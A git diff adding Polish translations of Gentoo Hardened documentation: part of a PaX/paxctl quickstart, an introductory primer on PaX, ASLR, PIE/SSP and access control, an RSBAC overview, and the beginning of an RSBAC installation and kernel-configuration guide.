+
+<note>
+Jeśli posiadamy starszą wersję pakietu binutils, to będziemy musieli skorzystać
+z programu <e>chpax</e>, który modyfikuje starsze znaczniki PaX. Korzystanie z
+chpax jest w dużej mierze podobne do paxctl. Dodatkowo wymagane jest wsparcie
+kernela dla zapisu znaczników. Nowa wersja paxctl sprawia, że chpax jest
+przestarzałe.
+</note>
+
+<pre caption="paxctl -h">
+usage: paxctl &lt;options&gt; &lt;files&gt;
+
+options:
+        -p: disable PAGEEXEC            -P: enable PAGEEXEC
+        -e: disable EMUTRMAP            -E: enable EMUTRMAP
+        -m: disable MPROTECT            -M: enable MPROTECT
+        -r: disable RANDMMAP            -R: enable RANDMMAP
+        -x: disable RANDEXEC            -X: enable RANDEXEC
+        -s: disable SEGMEXEC            -S: enable SEGMEXEC
+
+        -v: view flags                  -z: restore default flags
+        -q: suppress error messages     -Q: report flags in short format flags
+</pre>
+
+<p>
+Pierwszą opcją, jaką zaprezentujemy jest <c>-v</c>, która wyświetla ustawione
+flagi dla wskazanego pliku wykonywalnego.
+</p>
+
+<pre caption="paxctl -v">
+shell user # <i>paxctl -v /usr/bin/Xorg</i>
+PaX control v0.2
+Copyright 2004 PaX Team &lt;pageexec@freemail.hu&gt;
+
+- PaX flags: -p-sM--x-eR- [/usr/bin/Xorg]
+        PAGEEXEC is disabled
+        SEGMEXEC is disabled
+        MPROTECT is enabled
+        RANDEXEC is disabled
+        EMUTRAMP is disabled
+        RANDMMAP is enabled
+</pre>
+
+<p>
+Powyższa komenda pokazuje, że dla pliku Xorg wszystkie zabezpieczenia są
+wyłączone.
+</p>
+
+<p>
+Do ustawienia flag na pliku binarnym korzystamy z opcji <c>-z</c>, która
+przywraca domyślne flagi.
+</p>
+
+<p>
+By wyłączyć zabezpieczenia dla Xorg wykonujemy polecenie <c>paxctl -zpeMRxs
+/usr/bin/Xorg</c>.
+</p>
+
+<p>
+Próbujemy włączać/wyłączać zabezpieczenia, by zobaczyć jaki zestaw opcji pozwoli
+na działanie programu. Często zdarza się, że potrzebna jest kombinacja
+opcji <c>-m</c> i <c>-sp</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/primer.xml b/xml/htdocs/proj/pl/hardened/primer.xml
new file mode 100644
index 00000000..22a89156
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/primer.xml
@@ -0,0 +1,307 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/primer.xml,v 1.4 2009/05/11 17:21:16 shadow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- Orig revision: 1.6 -->
+<!-- Translator: Paweł Kwiatkowski <yarel@o2.pl> -->
+<!-- Status: Finished -->
+
+<!-- $Id: primer.xml,v 1.4 2009/05/11 17:21:16 shadow Exp $ -->
+
+<guide link="/proj/pl/hardened/primer.xml" lang="pl">
+
+<title>Wprowadzenie do Gentoo Hardened</title>
+
+<author title="Autor">
+  <mail link="method@gentoo.org">Joshua Brindle</mail>
+</author>
+<author title="Współpracownik">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Redaktor">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+
+<abstract>Podstawy Gentoo Hardened</abstract>
+
+<version>1.2</version>
+<date>2007-02-07</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<body>
+
+<p>
+Niniejszy przewodnik powstał z myślą o tych, którzy nie są pewni co tak naprawdę
+oferuje projekt Gentoo Hardened, jak korzystać z dostępnych opcji i jakie role
+pełnią one w projekcie.
+</p>
+
+<p>
+Opieramy się na filarze jaki stanowią warstwy bezpieczeństwa. Warstwy te mają
+zapewnić, że maszyna użytkownika nie zostanie skompromitowana, a jeśli już, to
+uszkodzenia zostaną zminimalizowane. Łącząc szereg różnorodnych, choć
+powiązanych z bezpieczeństwem technologii, sprawiamy, że agresor będzie musiał
+pokonać dodatkowe przeszkody zanim będzie w stanie skompromitować system.
+Sugerujemy, by określić wymagania, a następnie wykorzystać przedstawione
+rozwiązania do zabezpieczenia systemu. W tym podręczniku staramy się wyjaśnić
+dostępne możliwości oraz nakreślić sposoby w jakie mogą zostać użyte.
+</p>
+
+<p>
+Gentoo Hardened, samo w sobie, nie jest produktem, ani rozwiązaniem. Jest to po
+prostu projekt zrzeszający grupę developerów, którzy dążą do tego samego celu,
+jakim jest niezwykle prewencyjne bezpieczeństwo. Podprojekty Gentoo Hardened nie
+są ze sobą bardziej powiązane, niż przez sam fakt umieszczenia we wspólnym
+projekcie. Można o tym myśleć w ten sam sposób jak o KDE i GNOME. Obydwa
+stanowią część projektu dekstop, obydwa mają analogiczne cele, lecz pod innymi
+względami nie są ze sobą powiązane.
+</p>
+
+<note>
+Prośby o pomoc podczas instalacji lub pytania o 'Gentoo Hardened' są niejasne i
+zawsze powinny być uściślone poprzez wskazanie, że chodzi o problem z SELinux,
+PIE/SSP itp.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Dostępne technologie</title>
+<section>
+<title>PaX</title>
+<body>
+
+<p>
+Serce projektu stanowi PaX. PaX jest łatą na kernel, która pozwala zabezpieczyć
+się przed atakami opartymi o przepełnienie bufora, sterty i podobnymi. PaX jest
+pierwszą linią obrony.
+</p>
+
+
+<p>
+Źle napisane programy zawsze generują ryzyko kompromitacji, gdyż mogą być
+podatne na przepełnienia stosu i sterty. Możliwość przepełnienia stosu oraz
+sterty to efekt braku sprawdzania ograniczeń dla danych przekazywanych do
+aplikacji. Jeśli tylko agresor ma możliwość wprowadzenie danych do programu,
+które są umieszczane w pamięci i nie są weryfikowane, to istnieje możliwość
+przepełnienia. Niskopoziomowe języki programowania, takie jak C i C++, nie
+chronią w sposób automatyczny przed tego rodzaju zachowaniem. W efekcie, gdy
+bufor jest przepełniany, sąsiadujący z nim kod może zostać nadpisany przez dane,
+które wprowadzi użytkownik. Jeśli dane wprowadzone przez użytkownika są
+niezrozumiałe dla komputera, to w większości sytuacji prowadzi to do zawieszenia
+się aplikacji. Objawia się to przez page fault (przyp. tłum. wygenerowanie
+informacji o stronie pamięci), gdyż znaki przepełniające bufor i zapisane w
+przestrzeni wykonywania zostaną potraktowane jako adres pamięci, który
+prawdopodobnie nie istnieje. Takie zachowanie stanowi najłagodniejszy efekt
+nadpisania.
+</p>
+
+<p>
+Agresor, który wie o przepełnieniu, ma możliwość dodania shellcode do
+wprowadzanych danych i zamiast doprowadzić do zawieszenia się aplikacji jest w
+stanie wymusić wykonanie się przekazanych instrukcji. Dzieje się tak, gdyż
+shellcode, to sposób w jaki instrukcje przeznaczone do wykonania przechowywane
+są w pamięci. Ogólnie mówiąc, shellcode składa się z kodów rozkazów (ang.
+opcodes), które składają się na fragmenty procedur. Agresor doskonale zna te
+kody i może tworzyć shellcode, który pozwala mu na zrobienie wszystkiego co
+zechce. Może być to uruchomienie powłoki z prawami roota i udostępnienie jej na
+określonym porcie. Użytkownik nawet nie będzie świadomy, że coś jest nie tak,
+gdyż aplikacja nie zawiesi się, lecz zamiast tego zacznie wykonywać kod
+przekazany przez agresora. PaX łagodzi powyższy problem, przez losowe
+umieszczanie każdego bufora i funkcji w pamięci aplikacji. Metoda ta znana jest
+jako ASLR (Address Space Layout Randomization - losowy rozkład przestrzeni
+adresowej) i stanowi fundament PaX. Losowe przesunięcia dla funkcji i buforów,
+sprawiają że, agresor nie jest w stanie przygotować danych, które zagwarantują,
+że shellcode zostanie wykonany (zadanie jest bardzo utrudnione, gdyż aplikacja
+prawdopodobnie zawiesi się i zostanie ponownie uruchomiona z nowymi losowymi
+przesunięciami). ASLR jest najbardziej użyteczny w połączeniu z PIE (Position
+Independent Executable - kod niezależny od pozycji), ale działa także ze
+standardowym kodem wykonywalnym, lecz przy pewnym narzucie na wydajność..
+</p>
+
+<p>
+PaX daje możliwość rozdzielenia praw dla segmentów pamięci, tj. segment może
+mieć atrybut wykonywania, ale brak możliwości zapisu, i podobnie, może być
+zapisywalny, ale kod z tego segmentu nie może być wykonywany. Jest to znane pod
+nazwą pageexec. Na procesorach x86 nie ma do tego wsparcia sprzętowego, gdyż
+projektanci x86, aby zaoszczędzić miejsca, połączyli flagi pamięci read/execute
+w jedną. Jako że strona może być zapisywalna albo dostępna do odczytu i
+wykonywania, to nie ma sensu ustawiać atrybutu non-executable dla buforów, gdyż
+wtedy przestaną być dostępne do odczytu. Dlatego na maszynach x86, PaX emuluje
+takie zachowanie na poziomie programowym. Wprowadza to narzut na wydajność, ale
+jest bardzo użyteczne dla bezpieczeństwa.
+</p>
+
+</body>
+</section>
+<section>
+<title>PIE/SSP</title>
+<body>
+
+<p>
+Dla zachowania przejrzystości: łączymy dyskusję o PIE i SSP, gdyż stanowią
+element toolchain w wersji hardened. Tak naprawdę są to różne technologie,
+którym przyświecają inne cele. PIE samo z siebie nie wprowadza dodatkowego
+bezpieczeństwa, jednakże w połączeniu z PaX dostarcza potężnego narzędzia
+przeciwko przepełnieniom. SSP jest całkowicie zaimplementowane jako część
+funkcjonalności w przestrzeni użytkownika i zabezpiecza przed atakami na stos
+([ang.] stack smashing attack), bez asysty kernela. Ze względu na to, że
+wymienione technologie są zaimplementowane oddzielnie i wykonują różne
+działania, to stanowią dwie różne warstwy zabezpieczeń, np. atak ret2libc,
+który mógł przejść przez PAX, może zostać zablokowany przez SSP.
+</p>
+
+<p>
+Pokonaliśmy długą drogę, by dostarczyć użytkownikom łatwego sposobu na
+zbudowanie całej przestrzeni użytkownika z kodem ze wsparciem PIE, tak by było
+możliwe skorzystanie przy niewielkim narzucie wydajnościowym z dobrodziejstw
+ASLR. Poza PIE, nasz tolchain w wersji hardened dostarcza także zabezpieczenia
+SSP (stack smashing protection). SSP chroni przed atakami na stos. Robi to przez
+zarezerwowanie pamięci na zewnątrz buforów i wstawiając tam losowy,
+krypograficzny znacznik. Pozwala to na sprawdzenie po jakimkolwiek zapisie do
+bufora, czy znacznik został nadpisany, i jeśli tak się stało, to aplikacja może
+zostać zakończona. Toolchain w wersji hardened, dostarcza wsparcie dla PIE/SSP w
+przestrzeni użytkownika, w najprostszy możliwy sposób. Pliki stage oznaczone
+jako 'hardened' są standardowymi plikami stage zbudowanymi ze wsparciem dla PIE
+i SSP, nie zawierają kontroli dostępu SELinux/RSBAC/grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Obowiązkowa kontrola dostępu</title>
+<body>
+
+<p>
+Podczas gdy PaX jest pierwszą warstwą zabezpieczeń, a nawet drugą lub trzecią,
+jeśli posiadamy firewall i/lub system detekcji intruzów, to do dalszego
+zabezpieczenia systemu, zalecamy używania list kontroli dostępu. Niezmiernie
+ważne jest zdanie sobie sprawy z tego, że listy kontroli dostępu stanowią
+<b>ostatnią</b> warstwę zabezpieczeń. Listy kontroli dostępu są bardzo pomocne
+przy powstrzymywaniu działań lokalnych użytkowników lub agresora, który uzyskał
+dostęp do systemu. Gentoo Hardened oferuje obecnie trzy rozwiązania do kontroli
+dostępu: SELinux, grsecurity i RSBAC.
+</p>
+
+<p>
+Jeśli chcemy korzystać z grsecurity, to nie musimy się martwić o etapy, gdyż
+grsecurity nie wymaga zmian w przestrzeni użytkownika. Używamy po prostu plików
+stage pie-ssp i gdy jesteśmy gotowi, by zbudować kernel, używamy źródeł z
+włączonym grsecurity, takich jak hardened-sources. Jak tylko system zostanie
+uruchomiony, możemy użyć trybu nauki grsecurity, by zbudować listy kontroli
+dostępu dla naszego systemu.
+</p>
+
+<p>
+Podobnie jak grsecurity, RSBAC nie wymaga żadnych zmian w przestrzeni
+użytkownika i może być ustawiony po standardowej instalacji Gentoo. RSBAC jest
+wspierany przez kernel z pakietu rsbac-sources kernel. Po uruchomieniu systemu
+możemy wybierać  spośród różnych modeli kontroli dostępu oferowanych przez
+RSBAC. Jest to możliwe dzięki budowie modułowej. W dokumentacji Gentoo dla RSBAC
+wymieniona jest lista oferowanych modeli, a także, o każdym z nich,
+dostępne jest więcej informacji.
+</p>
+
+<p>
+Omówiliśmy dwie obecnie dostępne warstwy. Mamy zamiar zaoferować ich więcej i
+tak zrobimy w przyszłości. Przykładami dodatkowych warstw są warstwa
+wykrywania/zapobiegania, która znalazłyby się przed PaX. Zaszyfrowane dyski
+oraz partycje wymiany, które zabezpieczają przed 'fizycznymi' naruszeniami
+bezpieczeństwa. Audyt pozawalający dostrzec i zareagować na istniejące luki,
+zanim stałyby się przyczyną kompromitacji systemu. Szyfrowanie ruchu sieciowego
+i silne mechanizmy autentykacji, są także warstawi, które są wspierana w głównej
+linii instalacji Linuksa i prawdopodobnie nie będą tu poruszane.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Zasoby</title>
+<section>
+<body>
+
+<table>
+  <tr>
+    <th>
+      Projekt
+    </th>
+    <th>
+      Strona domowa projektu
+    </th>
+    <th>
+      Strona domowa projektu w Gentoo
+    </th>
+  </tr>
+  <tr>
+    <ti>
+      PaX
+    </ti>
+    <ti>
+      <uri link="http://pax.grsecurity.net">http://pax.grsecurity.net</uri>
+    </ti>
+    <ti>
+      <uri
+      link="/proj/pl/hardened/pax-quickstart.xml">Krótkie wprowadzenie do PaX</uri>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      PIE
+    </ti>
+    <ti>
+      brak
+    </ti>
+    <ti>
+      brak
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      SSP
+    </ti>
+    <ti>
+      <uri
+      link="http://www.trl.ibm.com/projects/security/ssp/">http://www.trl.ibm.com/projects/security/ssp/</uri>
+    </ti>
+    <ti>
+      brak
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      SELinux
+    </ti>
+    <ti>
+      <uri link="http://www.nsa.gov/selinux">http://www.nsa.gov/selinux</uri>
+    </ti>
+    <ti>
+      <uri
+      link="http://hardened.gentoo.org/selinux">http://hardened.gentoo.org/selinux</uri>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      grsecurity
+    </ti>
+    <ti>
+      <uri link="http://www.grsecurity.net">http://www.grsecurity.net</uri>
+    </ti>
+    <ti>
+      <uri
+      link="http://hardened.gentoo.org/grsecurity.xml">http://hardened.gentoo.org/grsecurity.xml</uri>
+    </ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/rsbac/overview.xml b/xml/htdocs/proj/pl/hardened/rsbac/overview.xml
new file mode 100644
index 00000000..89316e1a
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/rsbac/overview.xml
@@ -0,0 +1,310 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd"> 
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/rsbac/overview.xml,v 1.2 2005/10/17 23:18:26 rane Exp $ -->
+
+<guide link="/proj/pl/hardened/rsbac/overview.xml" lang="pl">
+
+<!-- Orig revision: 1.4 -->
+<!-- Translator: Paweł Kwiakowski <yarel@o2.pl>-->
+<!-- Status: Finished -->
+
+<!-- $Id: overview.xml,v 1.2 2005/10/17 23:18:26 rane Exp $ -->
+
+<title>Rule Set Based Access Control (RSBAC) w Linuksie - przegląd</title>
+
+<author title="Autor">
+  <mail link="ao@rsbac.org">Amon Ott</mail>
+</author>
+<author title="Redaktor"> 
+  <mail link="albeiro@gentoo.pl">Michał Purzyński</mail>
+</author>
+<author title="Redaktor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>  
+
+<abstract>
+Krótkie omówienie RSBAC, czyli mechanizmu kontroli dostępu.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version> 
+<date>2005-10-11</date>
+
+<chapter>
+<title>Kluczowe cechy</title>
+
+<section>
+<body>
+
+<ul>
+  <li>
+    Rozszerzenie mechanizmu bezpieczeństwa jądra na zasadach Free Open Source (GPL)
+  </li>
+  <li>Niezależność od rządów i wielkich firm</li>
+  <li>
+    Kilka dobrze znanych modeli bezpieczeństwa, włączając w to MAC, ACL i RC
+  </li>
+  <li>
+    Kontrola dostępu sieciowego na poziomie poszczególnych programów i
+    użytkowników
+  </li>
+  <li>możliwość zastosowania dowolnej kombinacji modeli</li>
+  <li>
+    Łatwa rozszerzalność: piszemy własny model do wykorzystania w trakcie działania
+  </li>
+  <li>Wsparcie dla wszystkich bieżących jąder</li>
+  <li>Stabilność dla produkcyjnego użycia</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Czym jest RSBAC?</title>
+<section>
+<body>
+
+<p>
+RSBAC jest elastycznym, potężnym i szybkim systemem kontroli dostępu z otwartym
+kodem źródłowym dla obecnych jąder Linuksa. Wersja stabilna wykorzystywana jest
+w warunkach produkcyjnych od stycznia 2000 (ver. 1.0.9a). Cały proces
+rozwijania został przeprowadzony niezależnie i nie wykorzystany przy tym
+dostępnych implementacji systemów kontroli dostępu.
+</p>
+
+<p>
+Standardowy pakiet zawiera zbiór modeli kontroli dostępu takich jak MAC, RC,
+ACL (opis poniżej). Co więcej, udogodnienie w postaci możliwości rejestracji
+modułu w trakcie działania systemu (REG) ułatwia zaimplementowanie własnego
+modelu kontroli dostępu jako modułu jądra i załadowanie go w trakcie działania
+systemu. 
+</p>
+
+<p>
+RSBAC oparte jest na pomyśle <uri link="http://www.acsac.org/secshelf/book001/09.pdf">Generalized 
+Framework for Access Control (GFAC)</uri> autorstwa Abramsa i LaPaduli.
+Wszystkie wywołania systemowe związane z bezpieczeństwem są rozszerzone przez
+kod egzekwujący bezpieczeństwo. Ten kod wywołuje centralny komponent decyzyjny,
+który z kolei wywołuje wszystkie aktywne moduły decyzyjne i na podstawie
+poszczególnych wyników generuje łączną decyzję. Następnie ta decyzja jest
+wykorzystywana przez mechanizm rozszerzający wywołania systemowe.
+</p>
+
+<p>
+Decyzje podejmowane są na podstawie rodzaju dostępu (typu żądania), obiektu
+docelowego i wartości atrybutów związanych z podmiotem wywołującym oraz obiektem
+docelowym. Dodatkowe niezależne atrybuty mogą być wykorzystane przez własne
+moduły, np. moduł poufności (<uri link="#doc_chap3_sect4">PM</uri>). Wszystkie
+atrybuty przechowywane są w pełni zabezpieczonym katalogu, jednym dla każdego
+zamontowanego urządzenia. Dlatego zmiany atrybutów wymagają specjalnych wywołań 
+systemowych.
+</p>
+
+<p>
+Wszystkie rodzaje dostępu sieciowego mogą być kontrolowane osobno dla wszystkich 
+użytkowników i programów. Daje to pełną kontrolę nad ich sieciowym zachowaniem i 
+sprawia, że łatwiej jest wykryć i zapobiec niechciane próby dostępu sieciowego. 
+</p>
+
+<p>
+Jako że wszystkie rodzaje decyzji o przyznaniu dostępu bazowane są na ogólnych
+regułach decyzyjnych dla żądań, to wiele różnych polityk bezpieczeństwa może
+zostać zaimplementowanych jako moduły decyzyjne. Pomijając wbudowane modele
+pokazane poniżej, rejestracja modułów (REG) pozwala na na dodanie w trakcie
+działania systemu nowych, własnych modułów decyzyjnych.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zaimplementowane modele</title>
+<section>
+<body>
+
+<p>
+W wersji 1.2.5 RSBAC dostępne są poniższe moduły. Należy zauważyć, że wszystkie
+są opcjonalne.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>MAC</title>
+<body>
+
+<p>
+Bell-LaPadula's Mandatory Access Control - obowiązkowa kontrola dostępu
+</p>
+
+</body>
+</section>
+<section>
+<title>UM</title>
+<body>
+
+<p>
+Zarządzanie użytkownikami (User Managerment) w RSBAC jest oparte o jądro i
+uzupełnia lub zupełnie zastępuje podsystem linuksowy. Administracja
+użytkownikami jest wymuszona przez szczegółowość i elastyczność.
+</p>
+
+</body>
+</section>
+<section>
+<title>PM</title>
+<body>
+
+<p>
+Model poufności (Privacy Model). Model poufności autorstwa <uri
+link="http://www.cs.kau.se/~simone/">Simone Fischer-Huebner</uri> w pierwszej
+implementacji. Publikacja z konferencji National Infomramtion Systems Security
+(NISSC 98) <uri link="http://rsbac.org/doc/media/niss98.php">dotycząca
+implementacji PM</uri> dostępna jest online.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dazuko</title>
+<body>
+
+<p>
+Tak naprawdę nie jest to model kontroli dostępu, ale raczej mechanizm ochrony
+systemu przed złośliwym oprogramowaniem. Może zapobiec uruchomieniu i wczytaniu
+zainfekowanych plików.
+</p>
+
+</body>
+</section>
+<section>
+<title>FF</title>
+<body>
+
+<p>
+Flagi plikowe (File Flag). Dostarcza i wykorzystuje flagi dla katalogów i
+plików. Obecnie execute_only (pliki), read_only (pliki i katalogi), search_only
+(katalogi), secure_delete (pliki), no_execute (pliki), add_inherited (pliki i
+katalogi), no_rename_or_delete (pliki i katalogi, bez dziedziczenia) oraz
+append_only (pliki i katalogi). Flagi plikowe mogą być modyfikowane tylko przez
+inspektorów bezpieczeństwa.
+</p>
+
+</body>
+</section>
+<section>
+<title>RC</title>
+<body>
+
+<p>
+Role Compatibility (zgodność ról). Definiuje role i typy dla każdego rodzaju
+obiektu (pliku, katalogu, urządzenia, ipc, scd, procesu). Zgodność ze wszystkimi
+typami i innymi rolami może być ustawiona osobno dla każdej roli z żądanym
+poziomem szczegółowości. Dla celów administracyjnych istnieje precyzyjne
+rozdzielenie obowiązków. Przypisywane uprawnienia mogą posiadać limit czasowy.
+Szczegółowa specyfikacja i projekt modelu są opisane w publikacji 
+<uri link="http://rsbac.org/doc/media/rc-nordsec2002/index.html">Nordsec 2002 RC
+Paper</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>AUTH</title>
+<body>
+
+<p>
+Wymuszenie autoryzacji (Authorization enforcement). Kontroluje wszystkie żądania
+zmiany właściciela dla procesów docelowych. Tylko programy/procesy z ogólnym
+pozwoleniem na setuid i te posiadające capability dla zmiany ID użytkownika
+docelowego procesu, mogą to robić. Capabilities mogą być kontrolowane przez inne
+procesy/programy, np. demony uwierzytelniające. 
+</p>
+
+</body>
+</section>
+<section>
+<title>ACL</title>
+<body>
+
+<p>
+Listy kontroli dostępu (Access Control Lists). Dla każdego obiektu istnieje
+lista kontroli dostępu, definiująca które podmioty i z jakimi prawami mogą
+odwoływać się do obiektu. Podmiotami mogą być użytkownicy, role RC oraz grupy
+ACL. Obiekty grupowane są na podstawie typu, lecz mają osobne ACLe. Jeśli dla
+podmiotu odwołującego się do obiektu nie istnieje wpis ACL, to prawa
+dziedziczone są z obiektów nadrzędnych przy uwzględnieniu maski dziedziczenia
+(inheritance mask). Prawa bezpośrednie (użytkownika) i pośrednie (role, grupy)
+są łączone.  Dla każdego typu obiektu istnieje domyślny ACL na szczycie
+normalnej hierarchii. Zarządzani grupami zostało dodane w wersji 1.0.9a. Nadane
+uprawnienia i przynależność do grup mogą posiadać ograniczenia czasowe.
+</p>
+
+</body>
+</section>
+<section>
+<title>CAP</title>
+<body>
+
+<p>
+Linux Capabilities. Dla wszystkich użytkowników i programów można zdefiniować 
+minimalny i maksymalny zbiór możliwości ("zbiór specjalnych uprawnień 
+użytkownika root"). Pozwala to na np. uruchamianie serwerów z poziomu zwykłego 
+użytkownika lub ograniczenia, w standardowy dla Linuksa sposób, uprawnień 
+programów działających z użytkownika root.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>JAIL</title>
+<body>
+
+<p>
+Więzienie dla procesów (process jails). Moduł dostarcza nowego wywołania 
+systemowego rsbac_jail, które jest po prostu nadzbiorem znanego z FreeBSD
+wywołania systemowego jail. Opakowuje wywołujący proces i wszystkie podprocesy
+w środowisku chroot z ustalonym adresem IP i wieloma innymi ograniczeniami.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>RES</title>
+<body>
+
+<p>
+Linux Resources. Dla wszystkich użytkowników i programów można zdefiniować 
+minimalny i maksymalny zbiór zasobów procesów (np. rozmiar pamięci, liczba 
+otwartych plików, liczba procesów dla użytkownika). Wewnętrznie te ustawienia 
+stosowane są do standardowych linuksowych flag dotyczących zasobów.
+</p>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+Wszystkie moduły decyzyjne są szczegółowo opisane na stronie z dokumentacją dla
+modułów.
+</p>
+
+<p>
+Głównym celem projektu RSBAC było osiągnięcie (przestarzałego) poziomu B1 z
+Orange Book (TCSEC). 
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/rsbac/quickstart.xml b/xml/htdocs/proj/pl/hardened/rsbac/quickstart.xml
new file mode 100644
index 00000000..c491b481
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/rsbac/quickstart.xml
@@ -0,0 +1,414 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/rsbac/quickstart.xml,v 1.5 2006/07/18 09:51:44 rane Exp $ -->
+
+<guide link="/proj/pl/hardened/rsbac/quickstart.xml" lang="pl">
+
+<title>
+Rule Set Based Access Control (RSBAC) dla systemu Linux - Szybki start
+</title>
+
+<author title="Autor">
+  <mail link="albeiro@gentoo.pl">Michał Purzyński</mail>
+</author>
+<author title="Redaktor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+  </author>
+<author title="Tłumaczenie">
+  <mail link="rafaeru@o2.pl">Rafał Stolarski</mail>
+</author>
+
+<abstract>Opis instalacji RSBAC w Gentoo Linux</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license-->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.7</version>
+<date>2006-02-15</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<body>
+
+<p>
+Poradnik pomaga zainstalować RSBAC w Gentoo Linux. Przed instalacją należy
+również zapoznać się z <uri
+link="/proj/en/hardened/rsbac/intro.xml">Wprowadzeniem</uri> oraz <uri
+link="/proj/pl/hardened/rsbac/overview.xml">Przeglądem</uri> tego tematu, by
+wiedzieć czym jest RSBAC i na jakich zasadach funkcjonuje.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalacja jądra RSBAC</title>
+<section>
+<title>Emergowanie jądra RSBAC</title>
+<body>
+
+<p>
+Ten krok jest banalnie prosty, dzięki łatwości z jaką Gentoo radzi sobie przy
+instalacji ze źródeł. Zacznijmy od zemergowania źródeł rsbac-sources z Portage.
+</p>
+
+<note>
+Istnieją dwa rodzaje źródeł rsbac-sources: jedno jest dla jądra 2.4, drugie dla
+2.6.
+</note>
+
+<pre caption="Instalacja źródeł RSBAC (używając domyślnego profilu oraz jądra 2.6)">
+# <i>emerge rsbac-sources</i>
+</pre>
+
+<pre caption="Instalacja źródeł RSBAC (używając jądra 2.4, profil Gentoo 2005.0)">
+# <i>rm /etc/make.profile</i>
+# <i>ln -s /usr/portage/profiles/default-linux/x86/2005.0/2.4/ /etc/make.profile</i>
+# <i>echo "sys-kernel/hardened-sources rsbac" >> /etc/portage/package.use</i>
+# <i>emerge hardened-sources</i>
+</pre>
+
+<impo>
+Zalecana jest aktywacja Softmode (tryb "miękki") używając jądra RSBAC po raz
+pierwszy. Pozwala to na wyłączenie wykonania RSBAC przy ponownym uruchomieniu
+systemu, by móc go przetestować i zapobiec ewentualnym problemom. Wyłączamy
+opcję tylko wtedy, gdy wiemy co dokładnie robimy, bądź w przypadku, gdy używamy
+produkcyjnej wersji jądra.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Konfiguracja jądra RSBAC</title>
+<body>
+
+<p>
+Na tym etapie zajmiemy się konfiguracją jądra. Zalecane jest włączenie
+następujących opcji w kategorii "Rule Set Based Access Control (RSBAC)":
+</p>
+
+<pre caption="Konfiguracja i kompilacja jądra RSBAC">
+<comment>Sekcja "General RSBAC options"</comment>
+[*] RSBAC proc support
+[*] Check on init
+[*] Support transactions
+[*]   Randomize transaction numbers
+[*] RSBAC debugging support
+(400) RSBAC default security officer user ID
+
+<comment>Sekcja "User management"</comment>
+[*] User management
+<comment>Upewniamy się czy SHA1 w Crypto API jest aktywowane W sekcji
+"Cryptographic options" ogólnej konfiguracji jądra, zaznaczamy:</comment>
+[*]   SHA1 digest algorithm
+[*]     Use Crypto API Digest SHA1 (NEW)
+
+<comment>Sekcja "RSBAC networking options"</comment>
+[*] RSBAC network support
+[*]     Net device control
+[ ]         Treat virtual devices as individuals
+[*]         Individual network device logging
+[*]     Net object control (sockets)
+[*]         Control UNIX address family
+[*] Also intercept network object read and write
+[*]         Individual network object logging
+
+<comment>(Nie włączamy "RSBAC Maintenance Kernel", używamy softmode w zamian)</comment>
+
+<comment>Sekcja "Decision module (policy) options"</comment>
+[*] Support for Registration of decision modules (REG)
+[*]     Build REG sample modules
+----------------------------
+[*] RSBAC support for DAZuko policy <comment>(Dla skanowania antywirusowego)</comment>
+DAZ Policy Options  --->
+     (604800)     Scanning result lifetime in seconds
+
+<comment>Dla każdej używanej zasady/modułu należy wybrać ochronę modułu AUTH
+(AUTH module) oraz modułu Zarządzania Użytkownikami (User Managment
+module)</comment>
+[*] RSBAC support for FF policy
+[*] RSBAC support for RC policy
+[*] RSBAC support for AUTH policy
+<comment>Zaleca się również wyłączyć opcję nauki (learning option) w jądrach
+produkcyjnych. Jest ona używana tylko podczas instalacji systemu
+RSBAC</comment> 
+
+AUTH Policy Options  --->
+[*]   AUTH learning mode support 
+[*] RSBAC support for ACL policy
+[*] RSBAC support for Linux Caps (CAP) policy
